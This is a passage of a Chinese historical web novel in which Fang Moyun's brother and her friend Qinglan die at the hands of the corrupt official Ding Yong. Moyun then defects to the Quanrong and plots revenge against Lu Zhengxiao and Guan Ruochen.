茉云想着看向青岚说道“诶，你说，要是把关若辰和我大哥放一块，问我大嫂谁更帅，我大嫂还能睁眼说瞎话吗？”
两人瞬间又笑成一团，笑声温暖而清脆，似乎霎那间让这冬夜变得明媚。
而她未可知的是，丁勇此时也在肆无忌惮的大笑，因为他朝中的友人来拜访他，跟他一分析，只有此时，卢家即便粉身碎骨亦会保他，保丁家，而只要方茉云一死，日后便是死无对证，谁也不会再咬着他不放了。再求奶奶去跟丁大人说情，奶奶年事已高，丁大人定然不得不从，那自己便可以重回京城，高官厚禄。
面对毫不遮掩心中狂妄之意的丁勇，来的这位友人刘钧，脸上划过一丝狡黠的笑容，又恢复了那一脸的真诚。
没过多久，朝中来了公文，之前丁勇一手操持的假案，要调那位老参将回京，可证人被灭口。丁勇便又暗地里运作，倒打一把，派人告了茉云，说茉云渎职，害死他的参将，还买通了都察院的一位督查使，帮他派人来中州查此案。关若辰正好就此事，休书给宋大人，让茉云因此被革职。
丁勇觉得计谋得逞，方茉云被革职之后，一个微末小民就好动手了，他以自己属下惨死为名，派人来了通州，却发现茉云已离开了县衙，他有些担忧难道是茉云有所察觉。
丁 勇毕竟还有四品官衔在身，一般州府县衙本该对他毕恭毕敬，可宋大人和思淼皆出生京城官宦之家，并不把他放在眼里。碰上那通州县令吴叶衡，也是个自命气节之人，他看不上的人，他也不从低头。丁勇之属下在通州，如何张狂都无人搭理，吆五喝六要问茉云去向，亦毫无头绪。
过了些日子，依旧没有音讯，丁勇有些焦虑了，要将此事弄干净，他定要灭茉云的口，他怎么也没想到，一个小小参军，居然这么久都没有拿得下来。
再找他好友帮他一打听，结果让他瞬间惊慌失措，原来方茉云是卓深的徒弟，他断案的能力极强，且跟卢正啸和关若晨都有交情。如果不是他爹是兵部尚书，现在可拿捏他们，日后自己只怕是死无葬身之地。
而且他的此番操作，还引起了察院的余大人的注意，余震这日亲自命人传来了他收买的那位督查使，过问了所谓的方茉云渎职之事，把人问得背后直冒冷汗。
丁勇没想到自己如此搬石头砸自己脚，余震居然还过问了此事？为了免得夜长梦多，他亲自带人来了中州，因为他听说茉云在关外有很高的悬赏排行，所以他还花钱雇了关外的杀手。吴叶衡依旧是不卑不亢的据实相告，说茉云不在县衙，至于去到何方他不知，丁勇却以为是茉云逃了，此时他已经狗急跳墙。
他派人去沅领的大牢里抓出了茉云的大哥，还从邻州抓来了青岚，逼茉云现身。他自以为自己手眼通天，其实是有人在背后暗中相助于他……
正啸这日也在军营中收到了探子来报消息，说抓到一关外杀手，不知被何人放入关内，往通州而去，正啸立刻带着一行人飞驰出了军营。
茉云闻讯回了通州，她直闯丁勇借住的庄院，要取丁勇的狗命。丁勇亦持剑冲入了院内，他的侍卫皆一拥而上。
茉云一脸阴狠的看向丁勇笑了：“上天有路你不走，地狱无门，你偏要闯，倒是来得正好。”
而此时吴叶衡带人赶到吃惊的吼道：“方茉云。”
“你一个小小参军，你敢动我。”丁勇瞪向茉云亦嚣张的吼道。
茉云抬剑就来，三下五除二就打散了丁勇的侍卫，要冲入庄院救人，谁知道吴叶衡以全县衙之力护卫丁勇。
吴叶衡瞪向茉云吼道：“方茉云，你清醒点，那日将军的怒斥你之话，我听见了，他说丁勇此时不能有事！”
茉云咬牙瞪向吴叶衡吼道：“姓丁的畜生，害死我爹，现在还抓了我哥和我友！”
“丁大人若作奸犯科自有朝廷制裁，将军嘱托之事，我粉身碎骨也要值守！”
“你再敢动，我杀了你哥和这女的。”丁勇的侍卫此时从里面押出了穆能和青岚吼道。
吴叶衡愣松了半刻，他没有想到丁勇真能做出如此明目张胆且厚颜无耻之事。
茉云大哥一贯性子烈，他被人押着一身是伤，依旧拼命的挣脱，他被压出来之时，听茉云吼说这个姓丁的害死了爹，还看这些侍卫说抓了自己威胁茉云，顿时火冲头顶。
青岚看见茉云便冲她吼道：“茉云，不要管我们！”
丁勇却肆意的笑了看向青岚，一把掐住她的下巴：“没想到还是个有几分姿色的小妞……”
“畜生！”穆能顷刻打断丁勇吼道，不顾一切的吼道：“茉云，不要管大哥，杀了他为爹报仇，带青岚走。”
说完他二话不说，就朝押着自己的刀口撞去，把侍卫都惊的手一松，穆能顿时倒在了血泊里。
“大哥！”青岚吃惊的哭着喊道。
众人都还没有晃过神，茉云抬剑就来，招招狠辣无比，她刀刀致命要杀丁勇，丁勇的侍卫谁能是茉云的对手。
吴叶衡还在震惊中，丁勇眼看不好，自己定然也不是方茉云的对手，飞身出院上马想逃，茉云已收拾了众人，飞身而起，一剑就把要还没有晃过神的丁勇从马上劈下来。
她抬手举剑，一剑就要了解了丁勇，谁知“哐”的一声，一道银芒闪过，茉云的剑被挡住了。
茉云抬目望着对手，居然是卢正啸，顿时她眼神中掠过的难以置信
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，瞬间让正啸双眉皱紧，他不能让她杀丁勇。
“正啸，幸亏你来的及时。”丁勇惊魂未定的爬起来说道。
青岚顷刻间朝正啸忿然含泪吼道：“将军，是丁勇抓了茉云的大哥和我，害死她大哥！”
正啸也愣了半刻，才看向倒在血泊中的穆能，若辰和执礼都吃惊的看着，沧海走来抬起一脚就将押着青岚之人踹飞，执礼马上蹲下 去摸穆能的脉搏。
丁勇马上辩驳道：“正啸，你莫信她们信口雌黄，我……”
茉云此时又不顾一切抬剑而来，招招狠辣无比，直冲丁勇，正啸最终还是拔剑抵抗，两人此刻剑法都是决绝非常，电光火石之间，杀气升腾。
“方茉云，你冷静点。”正啸瞪向茉云吼道。
“你若是杀了言勇，也难逃死罪，此事你可以据实上报朝廷。”执礼看向茉云激动的吼道。
“你以为我还会信你。”茉云瞪着正啸吼道“除非你今日有本事杀了我。”
茉云的剑，招招都是绝杀之招，丝毫未留半分转圜，可最终正啸还是剑高一筹，一剑划伤了茉云的脖子，可是他瞬息间收剑了，只是划伤。茉云握着剑的手都在颤抖，她也知道自己过不了卢正啸这把剑。
正啸深深吸了口气望向她，哪怕心中有千言万语，可自己也不能说出，只能换成一声无力的：“滚！”
“茉云，你带着青岚快走！”若辰亦马上看着茉云说道。
“你们怎么可以枉顾朝廷法律，放走案犯，应该将她就地正法！”丁勇此时已经癫狂，他冲卢正啸小声低吼道，“卢正啸，你是朝廷的大将军，我父亲兵部尚书还是尔等上级，要知道我爹对你父马首是瞻这么多年，别逼我，大不了一起玩完！”
青岚此时不顾一切冲来，一把拉过茉云，擦干嘴角的血，要拖她走：“茉云，咱先走。”
就在这一瞬息间，沧海突然抬目吼道：“小心！”
“嗖”一道银光散过，一支锋利的冷箭穿过，正啸都还未来得及反应阻挡，这一箭射中了青岚。
丁勇顿时张狂的指着怒吼道：“来得正好，跟我将其射杀！”
话音刚落，又几箭飞窜而来，青岚不顾一切的挡在茉云身前，挡住了箭！
“快走。”青岚死死推开吼道，“茉云，快走！”
“住手！”若辰不顾一切的转身愤然吼道！
“我……已多活二十年，便是不枉此生，山水一程……各有天命……，茉云，你快走……”青岚便是这般倒在了茉云面前。
茉云呆滞在原地半刻之后，站在那里冷冷的看着正啸居然笑了。
正啸深深吸了口气咬牙看向茉云，嘴唇似乎都在颤抖，却无法发出任何声音，紧握双拳，却无法动弹。
沧海看见了正啸的神情，他看了万莫一眼，万莫顿时飞身而出以剑挡箭，沧海则转身不顾一切的拉着茉云吼道：“白死于此，有何意义！留得青山在啊！”
终究沧海死拖活拽的拉走茉云逃了，正啸看着她的背影，深深吸了口气，丁大人不出事，朝中局势不能乱，自己不能保她，如今她跑已经是唯一的活路了。
“你们！追啊！”丁勇顿时忿然吼道，他带着自己的侍卫和化成侍卫的杀手狂追而去。
天空霎时下起了大雨，正啸丢开了剑，转身飞身上马，一路疾驰回营，在中州他停了下来，这个自己曾经如此熟悉之地，突然变得如此陌生，只因好像已少了某种气息……
114.反目
东方欲晓之时，沧海到了中州复命，说茉云已经出了关，一路往西而去。
宋大人摸着胡须长长叹息，心中却松了一口气，那丫头至少保住了性命。
正啸睁开了眼睛，恢复了往日眼中的冷凌和刚毅，也许关外的自由更适合她，而自己眼前的终究会是一条血路，虽是陌路，也许也是最好的结局。
若辰在通州听了吴叶衡所述的始末，吴叶衡此时还振振有词自己并不知丁勇居然会草芥人命，他只为守住将军的嘱托。
“镇南大将军何时嘱托你了？”
“微臣那日在院内听见卢将军怒斥方大人，丁勇不能有事……将军自有将军的安排。”
执礼愤慨的讽道：“你这是助纣为虐，此时此刻你还能如此振振有词，着实叫人佩服！”
若辰顿时起身便往县衙外走，再也没有望吴叶衡一眼。
吴叶衡亦仓皇的望向若辰说道：“微臣虽愚钝耿直，但只是想忠将军之事，难道错了吗？”
“你可知此事会有何后果？你这等迂腐之人，凭何谈忠！”执礼愤然吼道。
“何须再言？”若辰眼神透出难能一见的寒光，拂袖而去说道，“愚蠢至此，遑论对错！”
吴叶衡瘫倒在地，望着若辰的背影，他虽不懂，可是从卢正啸和关若辰的眼神中他亦能读出，自己似乎想错了。
若辰直接回了巡抚府衙，京城中必然又会开始兴风作浪，而任他们如何，自己断然不会放过丁勇，亦还要把事情的始末查清楚，要知道当日射向青岚之箭，是卢家军的箭，这些箭手乘着慌乱，全部消失在夜色中，他知茉云之心性，如今因她，大哥倒在血泊之中，青岚更是当场香消玉损，她又如何受得了！自己如今唯一能做的，便是要尽快查明真相，可自己如今千头万绪，百感焦灼……
执礼回到了南关营中，像正啸汇报：“茉云的大哥还在医治，丁勇背后剑伤无大碍，青岚……”
众人皆沉默，执礼抬眼望向正啸，他脸上依然没有任何表情，眼神冷峻得没有一丝生气般。军中众人皆听闻了此事，正啸也看似与平日无异，可是谁也不敢提及此事。
元帅收到了飞鸽传书，顿时气得一掌将案几拍断，怒斥丁勇是个畜生，何友亦赶回了京城，亲自带着若辰的书信，找到了丁大人，告知始末之后，丁大人顿时瘫坐在椅上，可愤怒和悲伤都不解决不了任何问题，他们现在要做的就是要切割丁勇，以防他癫狂之际乱攀咬。
同时余震已经将都察院的那位收受贿赂的督查使暗拿了，而刘钧亦在回京路上，被若辰派出的人所擒，可顷刻间离奇的事情发生了，案子未审，他们都自裁了……
茉云的大哥被白神医救了过来，执礼怕他遭到毒手，把他藏了起来，若辰也派人去茉云老家帮他二哥也搬个住处，可他们已经是人去楼空，想必是茉云当日回通州之时已经知道危险将至，让他们搬离。
言勇还被蒙在鼓里，依旧张狂不自知，收到丁大人的家书让他回京，他还自以为危机已然解除，准备回京像父亲诉苦，以求官复原职。他启程之时，属下建议他径直回京，他一定要跑到南关耀武扬威一顿，指责他们那天没有抓到茉云，可是不管是正啸和若晨都不见他。他此次回京便是丁大人心意已决，要大义灭亲，将让这不孝子伏法。
可就在言勇准备出城的时候，杀手忽然从天而降，言勇自知不好，一路往南关跑，可是已在劫难逃，为头之人一箭将他射下马，杀手疾驰而来，为头之人端坐于马上，俯瞰于他。
他獐头鼠目般忍着伤痛哭着求饶：“好汉，你要多少钱我都给你，你饶我一命，饶我一命！”
为头之人眼神中闪过一丝狠戾的冷笑，所有杀手都抽出了箭，众箭齐发，将其万箭穿心，结束了他罪恶的一生。
而此时南关也收到了消息，一伙杀手居然胆敢闯入南关，鹿里带人马上出来迎战，执礼站在营帐外，愁忧的望去，怎么会在此时过境，还来南关行凶。
鹿里一路追去，惊愕的发现居然是峑戎的杀手，他马上派了人回营报给正啸，然后一路穷追，可那领头之人，带着全队从小道撤出，鹿里居然都没有追上。他拉着缰绳吃惊的望去，他们一行人，何以如此了解此处。
而让众人更为吃惊的是，峑戎杀手居然如疯癫一般，径直从南关前方逃离，如此挑衅，沧海和威行接令带人一路围堵，居然还是让对手从山路逃窜而去。
正啸此时上了城关，望去那不足十人的杀手小队，居然还从山路又窜到城关前，正啸抬手便抽出了箭，谁曾想杀手领头之人居然取下了面罩，转头看向南关守将阴冷的笑了。
“茉云！”威行吃惊的吼道，沧海拉着缰绳惊诧的愣住了。
正啸拉弓的手亦僵在了原地，脑中瞬间如平地一声炸雷，轰得自己心沉坠地一般。
“少主，方茉云对关防了若指掌，她不能走。”执礼顿时吼道，“不能让她日后为恶！”
正啸抬手终究一箭冷冷射出，茉云骑马飞驰而去，箭却未中，从茉云额鬓擦过，鲜血流了出来。
“少主！”执礼吃惊的喊道，可是茉云此时已逃出了射程，正啸望向她远去的背影，手握紧的弓居然在颤抖，茉云最终逃去，消失在旷野。。
众人都难以置信的回了军营，军中其余人都不知道发生了何事，回营的将领都好似霜打一般。
若辰在营帐听到威行所说，一把抓住了他：“你说谁。”
威行深吸一口气咬牙望向若辰：“是茉云，判去了峑戎！”
“不可能，她怎么可能投奔峑戎。”何友亦吃惊的，众人顷刻间都很沉默。
“卢正啸，若方茉云判，亦是你逼的！”若辰顿时冷漠却忿然的望向正啸，“你怎就如此高贵，为何不将朝局如实相告，为何任由那畜生杀他哥杀青岚，她曾肝脑涂地护你到底，你却将她弃之如敝履，她岂能不怨愤！”
说完若辰再未回头径直出了军营，脑中苍白无物，心却坠入无底深潭。
“我都没想到你之前说的双刃剑，居然一语成真。”谢青看向执礼说道。
执礼锁紧双眉看向正啸的营帐，缄默不语，他此刻好像亦还在噩梦之中未醒，如果茉云真成了双刃剑，那便是这世上一把刺向少主最锋利的剑。
正啸闭上了自己眼睛，可是如何压抑不住了内心的狂躁，自己是怎么了，自己无处发泄却顶到了胸口的痛楚是什么？
若辰回到了府衙，更是一日一夜都没有说话。
正啸和若辰却在此时被皇上下旨，急招入京城，并不是因为言勇被峑戎杀死的事，而是之前嘱托他们成婚之事。
而朝中局势依旧是暗潮涌动，所幸丁勇已死，他还未来得及回京攀
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咬，可是丁大人之母本就有病在身终，受不了这番刺激，闻得孙儿死讯第二日就故去了，丁大人亦哀痛万分，按照朝廷礼制，他必须回家守孝三年。
虽没有彻底崩塌，可这也是对主战派巨大的打击，最终在皇上的授意下，胡大人执掌兵部尚书之衔。胡大人是皇上近臣，深得皇上信任，他与关大人也甚为交好，可是在主战还是主和这个问题上，他一直从未表达明确的意见。
若辰回到了关府，脸色依旧如阴云密布，哪怕不想让长辈担忧，可情绪的阴霾是任其如何假意淡然，都掩盖不住的。为扛外敌峑戎大业，他们真是付出了一切，可结果呢？
晚膳之时，关大人特意抽出时间和两位不常回家的儿子共进晚餐。
何友看向若辰给他夹菜说道：“哥，我知你心情不好，但还是吃点。”
若辰依旧是一言不发，今日进宫见到正啸他也未与他说一言，其实他知道自己不应再苛责于他，命运对他苛待甚矣。
“辰儿，自古成大事之人，无不受尽蹉跎磨砺。”关大人温和的看向若辰说道，“你等应该看卢帅，亦余心之所善兮，虽九死其犹未悔。”
“那就烦请父亲去胡家为我提亲吧。”
关大人和何友都吃惊的抬头望向若辰，他们都知道胡大人的掌上明珠胡季岚自小便心系若辰。
“我只有一个要求，那便是胡大人要支持战峑戎。”
何友吃惊的望向若辰，昔日他是何其反感将他们的婚配，用做朝堂博弈，所以他至今未娶：“哥。”
关大人却深吸一口气再无迟疑的说：“好。此事交于为父。”
若辰起身回了房，自已也不是怨他，更怨恨的是自己什么都帮不了他们。她已远去，他们已成仇，而自己唯一还能做的便是将自己妥协，看能否为他力挽狂澜，再博一局。
何友望向若辰那修长而无力的背影，觉得他若抽了魂魄一般，透出的皆是落寞而寂寥。
正啸强撑着寻常样子在宫中见皇上，陪皇上共进了晚膳，回到卢家就又是沉默无言。
老太君则走出来瞪向正啸：“这般寻死状，是要给谁看呢？”
正啸没有说话，而家中其余人却都以祈求的眼光望向老太君，如今边关军心接连重创，朝中局势急转而下，哪怕是当年他朝堂之上被怒斥贬黜中州为司马之时，也不见他如此失落……
依妮伸手拉着老太君的衣角，希望她能体谅正啸一二。
“事已至此，该如何如何，棋输了重新下过！”老太君刚毅的怒斥道，“我刚得知，关若辰已答应娶胡家嫡女为妻，条件是胡家支持战峑戎，而你好意思在这里如此颓靡。”
正啸顷刻间眉头微蹙，执礼亦吃惊的望向老太君，他们都了解若辰心性，他性子虽温润如玉，而骨子里清傲脱俗，这是他之底线，他却……
“满盘皆输之时，关若辰都知为南境大业孤注一掷，你此时此刻作何打算？”
“那就但凭奶奶做主吧。”
“嗯。”老太君冷冷的转身了“不该想的别想，人来世上便是吃苦的，特别是我卢家，这便是你的命。”
说完老太君转身的瞬间，眼神闪过一丝哀愁，她轻轻心中感叹，为何老头子和正啸的娘在天之灵不能护佑他一二，要让昔日并肩同生死之人，如此反目成仇，让正啸尝尽人世苦痛……
115.魔障
圣上甚为满意关若辰和胡季岚的联姻，并下旨赐婚，胡季岚本就是京中有名的才女，胡家亦是朝中圣上信赖之臣，而胡季岚自小钦慕若辰，满京城都将这一对才子佳人视作天作之和。
上门送贺礼之人络绎不绝，关大人亲自一一代替若辰感谢并婉拒，而只有关家人知道，若辰闭门不出，拿出了那副茉云曾为他改过一字的画看到深夜，何友望向他哥书房那微弱的烛光，不禁感叹，这份真挚会牵绊他哥一生。
正啸则每日依旧兢兢业业忙于军务，神情亦如以往一般威严，好似什么都未发生。圣上还在继续为他物色大婚人选，正啸即没有断然抗拒，也没有首肯，似乎就是任由摆布。下朝回府，他眼神冷峻的径直回了房。
惜缘看像正啸的背影，问老太君说“奶奶，哥是怎么了？”
奶奶喝着茶淡然的说：“他一贯少言。”
“可不知为何，我觉得哥心情特别低落。”
“有些关，这辈子总要闯。”
也许是上天觉得对他们的磨砺还未够，噩事接踵而来，还没等圣上择好人选下达恩旨，突然边关出了大事，元帅在边关巡视之时，被一路从天而降的峑戎杀手追击，元帅中箭，顾将军为救元帅阵亡，震北将军为元帅断后，至今未归。正啸接到军报之后，上马就往边关大营疾驰而去。
到了元帅的边关大营，就听见罗虎迎上来咬牙说：“师兄，是方茉云带人干的。”
“什么？”执礼吃惊的看向罗虎，众人皆愣在原地。
正啸脑中好像又一声惊天的炸雷在轰鸣，他冲进营帐，就跪在了元帅面前，元帅虚弱的躺在床上，看见正啸顿时伸出了满是老茧的手抓住了他，顷刻间老泪纵横。
“儿子，老顾走了，震北也不见了。”
正啸咬着牙，握紧拳跪在元帅面前，一句话都说不出来。
震北将军是老元帅的干儿子，震北的爹也是昔日老元帅的干儿子，家里祖祖辈辈都是在战场上牺牲了，所以震北是跟着元帅长大的，跟元帅相处的时间比正啸还多。
而茉云却愤怒的回到了峑戎密营，他们撤回的一路，众人都是费尽了力气，才拦住了她，将她带回了峑戎。
在属下在跟峑戎大将军厄戎汇报之时，茉云还在疯狂的吼道：“为什么拦着我，我要杀了那老匹夫。”
“前面就到了边关守将的射程，所以我们死拖活拽把她拉了回来。卢镇远也后背中箭了，死没死不知，估计也悬了。”
“不是也射中了。”厄戎看向茉云笑着说，厄戎是密营的领袖，是峑戎四大将军之首。
“你看见他断气了吗？我要的是他当场暴毙，留他的尸首在荒野喂狼，也让卢正啸尝尝他至亲曝尸荒野的味道。”
“有志气。”厄戎看向茉云赞许的笑了，“看样子人说的没错，能杀卢正啸的，只有你。”
茉云一脸决绝的看向厄戎，幽戎却远远地双手抱胸，挑眉望向茉云。
“我已经按照你的要求，把你的小侄子接来了。你先去见见家人。”
茉云看见飞奔跑向她的小腾，眼光才柔和了点。她蹲下来望向小腾，看向他那跟大哥一样炯炯有神的双眼。
“姑姑！”
“又长高了，长得跟你爹一样结实！挺好！”茉云此时脸上才出现了笑意，眼神中闪过一丝哀伤，她终究是无法开口告诉小腾他爹之事。
“他们说你要杀卢叔叔？为什么？”小腾愤慨的瞪向茉云道。
茉云顿时脸色又阴沉了下来，眼中迸射出狠戾的光。
“二叔都说卢叔叔是个大英雄，你为何要杀他！”
“因为世情薄，人心恶。”茉云冷冷的起身说道，“你爹我大哥说过，我们方家的仇一定要报。”
说完茉云领着小腾回了自己院子，幽戎望向茉云的背影，如此决绝而冰冷，他大抵也知道青岚和茉云大哥在她心里是什么分量，可是他终归不信她会对卢正啸举起屠刀，可没想到他真的下手杀卢正啸的爹。
而在边关元帅大营，自然是军心一落千丈，元帅重伤，顾将军阵亡，震北将军被俘，二十多年来，卢家军从未遭此大劫。
谢青叹气望向苍茫的大地说道：“若那一箭射中了要害。”
“天佑元帅，吉人自有天相。”
“我是说，若将军那箭射中了方茉云……”
“千万不可再这么说。”执礼顿时望着谢青说道，谢青亦看向执礼吸了口气点点头。
这日是顾将军的葬礼，元帅带着伤坚持来了灵堂，在他棺木前哭得老泪纵横，诸位老将军都来了，这些曾经在沙场上，哪怕断头撒血亦不会掉一滴泪之人，如今都忍不住抱头痛哭，陈老将军更是拄着拐杖赶来，摔在灵前痛哭流涕。
夜里正啸扶着几欲昏厥的元帅回营帐，执礼他们都在随后跟着。
“卢正啸，你给我跪下。”
正啸瞬间就跪了下来，执礼等人亦跪在了正啸的身后。
元帅抬起了颤抖的手指着正啸：“我要你在此立誓，取方茉云首级告慰顾将军在天之灵。”
执礼深深吸了口气看向元帅，元帅让少主亲自杀方茉云。
“是。”
“无论如何，答应为父，一定要把震北救回来。”元帅按着正啸肩膀说道，“否则你爹，死都不能瞑目。”
“好。”正啸亦咬牙说道，此刻他的眼神中亦只剩下冰冷的凶狠。
而在峑戎的密营，震北被俘，他宁受千般的折磨都不愿意出卖元帅半分信息，这日半夜茉云潜入了密营大牢，而幽戎和厄戎亦都在暗处看着。
茉云找到了震北大牢，厄戎抬目望去，谁知道茉云从袖中抽出了匕首，往睡着的震北胸口刺去。
“住手！”厄戎顿时吼道。
震北被惊醒马上翻身抵抗，茉云没有刺中，但是她不依不饶的继续狠命刺来，震北的功夫自然亦不是泛泛之辈，两人一番恶斗，茉云又将得手之际，厄戎带人冲入了牢房，终究拦住了茉云。
茉云几近癫狂的吼道：“放开我！”
“你果然如传闻说的那般难管！”厄戎无可奈何看向茉云笑着说，“此人留着还有用！”
“那你得看好了！”茉云眼中放出了寒光说道，“我可不保证下次你还能拦得住！”
茉云愤然挣脱开拉他的人走了，现在整个密营都信茉云能杀卢正啸，只有幽戎仍然不信，众人都认为是因当年
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茉云害死了幽戎全队人。厄戎也几次劝幽戎，当今之势，同仇敌忾，对付卢正啸，天下再也没有比方茉云更锋利的剑。
茉云晚上在院中独酌，幽戎提着一壶好酒来了，手里还拽着一腿烤好的羊肉，茉云此时才望了过来，望向羊腿。
幽戎顷刻就被逗笑了，将羊腿放在桌上，茉云拿出了袖中的匕首，割了一块肉就塞嘴里，点点头。
“当日你说的便是这家店？”
“对！”
茉云伸手扯过一大块羊肉边咬边说，“酒自己倒！”
“时间过得好快啊……”
“上次来找我喝酒，就是想跟我说，我死期快到了吧。”茉云端起酒碗大口一饮而尽。
“收到了你们那来的密报，上面写着，亡卢正啸者，必方茉云！”幽戎亦喝着酒淡然说。
茉云居然顷刻笑了望向幽戎说道：“看，人多看不起你！折腾了十余年还得我来！”
幽戎亦被逗笑了望向茉云：“知道自己被算计了？”
“算计我，也是让我重新认识了卢正啸。”茉云拿起幽戎的酒坛往自己的碗里倒酒，“其实从一开始我便是他们眼中的邪魔歪道，如果我一早清醒点，我哥和青岚都不会死！”
“方茉云，其实我很难信你……”
“我不需要你信！”茉云抬眉轻笑望向幽戎，“我干我要干的事，谁也拦不住我，你也杀不了我。”
幽戎撑着头，看了一眼酒坛然后望向茉云，茉云则毫无迟疑的端起酒碗喝了一口说道：“你若会下毒，昔日就不会阴了毒戎，让他来杀我了！”
幽戎抬眉望向茉云，似乎是听不懂她说的话。
“我其实当日引了峑戎的杀手现身便可交差，可他却非要自报家门是毒戎！”茉云则笑了喝着酒说道。
幽戎顺势脚踩在椅子上搭着自己手臂侧身望着她，衣领不羁的张开，更显狂野放浪。
“我就想，怎么也匡了你一夜的酒，就当帮你个忙，除掉这个你最厌恶之人，当跟你两清了。”茉云一饮而尽酒碗中的酒说道，“说来，你这人也是！你甭管人用什么方法，能达目的就好，你还非得嫌弃人下作，你这杀人放火，还要求过程很艺术？”
幽戎瞬间就被逗笑了也喝着酒说道：“那贱人最喜对自己人下毒，总觉毒能控制一切，包括人心。你何以知晓我厌恶他？”
“昔日在京城，你那些哥们没有一个服毒的！可是据我所知，峑戎密营外放之人，都是服毒以保忠诚的。”
“嗯，倒是还要谢谢你埋了他们。”
“幽戎，你这人能否活得轻松点，何必回头算那么明白，你不欠人的，都是人欠你的！”茉云扯过羊腿的肉嚼着说道。
“那你放下了？”
“可我从没有回头遗憾过，亦没有一刻问过自己什么是对错？”茉云望向幽戎说道，“我就是对的！”
幽戎怔了一刻望向茉云。
“你此生纠结的，困顿的，挣扎的，皆是魔障！于人世而言，我等还遑论什么公道，何以魔障，即刻成魔！”
幽戎望向茉云那双清冷的眼瞬间弥漫开阴狠乖戾，冰冷的一字一句中，勾着人直坠深渊，却觉痛快！
116.狠辣
卢家军受此重创，按理京城应该早已荡起了轩然大波，可是朝堂之上居然都好似明兵休战一般，主战一派的官员信心遭受重创，都沉浸伤痛之中。而主和官员却在暗中叫好，而且他们在翘首以盼，等待那更大的“捷报”。
若辰则立刻振作了起来，从京城赶往了南境，他知道如今南关定是军心浮动且粮草不济，正啸还守在元刷大营，自己必须回南境帮他支撑起南关大营。
这日情报一到，茉云便去找了厄戎，她说明来意，听闻关若晨已经回了南关，她要去刺杀关若辰。
厄戎若有所思的靠着椅背望向茉云：“关若辰此时在南关，南关你已闯过一次，再闯危矣？”
“关若辰回南关，必去中州。”茉云望向厄戎笃定的说。
“此时焦头烂额，还回趟老家？”
“不，他定会去拜祭刚入土的青岚！”茉云眼中顷刻显现出暗红的幽光，“正好，我也想去拜祭青岚，顺便送他与青岚陪葬挺好。”
厄戎抬目望向了茉云道：“你打算先杀关若辰？”
茉云含笑的神情中，却蕴含了这世间最浓稠的恨和恶：“我不得让姓卢的先尝尝至亲和挚友皆亡的滋味，再让他上西天！”
“好，我派一队人手帮你！”
“不用，一队人显眼，带个能用的人就行。”
厄戎抬手指着屋内的人说：“你挑！”
茉云指着幽戎，众人都怔了半刻望向茉云，幽戎可是随意任人差遣之人，而且他两曾结过死仇。
厄戎亦顷刻笑了说道：“你知他是谁？”
“能用之人！”
“行！”幽戎微微侧身嘴角上扬几分邪魅的笑了，“何时走！”
“一炷香后！”茉云起身淡然的说。
“一炷香？”
茉云抬目还是望了幽戎一眼，转身边走边奚落道：“你一个，头发都没梳立整过，扣子常年都扣不齐的小伙，给你一炷香的时间还不够？怎得还得沐浴更衣如何？我又不是让你去跟关若辰比美！”
顿时众人不知为何哄堂大笑，谁都知道幽戎是峑戎的极其受欢迎的男子，居然被茉云这般奚落。
“小伙？”厄戎亦笑得不行随着茉云说的话说，“去吧，自己小心点。”
“嗯！”幽戎亦被逗笑了，大步向前走了出去，看见茉云已经持剑飞身上马，在院子门口等他。
“出发前说好，到时候一人牵制关若辰身边高手，另一人动手杀他。”茉云端坐于马上望向幽戎说道。
“嗯！”幽戎慵懒的伸了个懒腰，闭上眼抬起头沐浴着此刻的春日暖阳，他那仰头时紧绷的下颚，衣袖中勾勒出臂膀的肌肉线条，阳光下健壮而有力的身姿，皆引来门口姑娘们炙热的目光。
茉云则望向前路，扬起马鞭驰骋而去，幽戎亦飞身上马追去，厄戎望向两人的背影。
他身边的凑过身小声问道：“厄戎将军，幽戎将军此行随她入关，可妥当？”
“放心，幽戎定然会见机行事的！若她真能杀了关若晨，那便是真的可用之人！”
“其实她都已经射中了卢正啸的他爹！她此生定然是回不了头了。”
“她是回不去了，但她能杀关若辰，便能杀卢正啸。”厄戎眼中亦透出寒光说道，“才是真的有用之人，不然我等收留个疯魔之人作甚？”
茉云和幽戎自山道潜入了关内，日落下山之时，进入了中州地界。
她望向脚下踏过的每一块青石板，都是那般的熟悉，走在大街上，茉云穿戴斗篷半掩着面容，穿过熙熙攘攘的人群，远远望向心月楼。记忆中也是这么一个寻常的傍晚，青岚站在心月楼门口摇着她的雪犬团扇，等着自己，而今日心月楼仍是华灯初上，歌舞升平，故人却已经西去。
瞬间一片嬉笑声中，茉云的哀思忽然被打断，一个打闹着的小姑娘直冲冲的撞来，那小姑娘撞上了茉云，她还生气的坐到地上，恼怒他们挡住了自己。
一个十岁光景的男孩即刻跑来道歉，哪怕望向茉云那冷若冰霜的脸，他依旧鼓足了勇气说道：“我妹妹年纪尚小，不懂事，请您见谅。”
“无碍！”幽戎则笑了，伸出了修长却有力的手拎起那小姑娘，拍了拍她扎着俏丽双髻的头，眼神难得透出了温和。
小姑娘眨巴眨巴眼睛望向幽戎深邃的双眼，顷刻间双眼笑成了月牙，然后拍拍灰跑向小男孩说道：“哥，我们回家吧。”
小男孩抱拳行礼之后，无奈的拉着满脸任性的妹妹走了，小姑娘走出几步后，回头还对幽戎笑着做了个俏皮的鬼脸。小男孩却尴尬的冲他们歉意的笑笑，将那小女孩紧紧拽着带回了家。
茉云毫无停留之意，转身冷漠的走了，幽戎望向她的背影，她那握紧得关节已然勒白的双拳，蕴含着对人间的莫大的恨意。
翌日清晨他们一路往中州的山里的方向出发，经过了藤桥之时，茉云停了下来，幽戎也望向周遭，这儿车马皆需停，确实是一个伏击的好地。
“在此等！”
茉云拿出了刚买的饼递给了幽戎说道，“荒野的猛兽时常饿着肚子，还要潜伏等待猎物，咱比他们命好！”
幽戎站在树荫下，随意靠着树干望向茉云，咧嘴笑了：“你可知每次来的密报，只要提起你，便是方茉云在某某处觅食，寻食，食完出酒楼！”
“那帮贱人！”茉云咬着饼顿时没好气的望向幽戎，“难怪你们搞不赢，老子干过那么多惊天动地的大事，他们就记这些？”
幽戎顷刻间便乐了，接过饼望向前路，深吸一口气说：“你不先去拜祭？”
“仇未报，没脸见她。”茉云靠着一旁大石盘坐于地上，抬目望向天空，“还有大哥，我连你埋哪儿都不知。”
“我全家都曝尸荒野，无人收尸，我只能每年去那片荒野……”
“哎！”茉云望向幽戎无奈的说道，“你别打岔嘛？我刚想跟我大哥说，逢年过节没去给他上香，这也怪不了我。”
幽戎居然又被逗笑了，好似瞬间就被驱散了回忆的痛楚。
茉云大口咬着饼说道：“西南有些部落，都是天葬，这等好的习俗，你们为何不保留？”
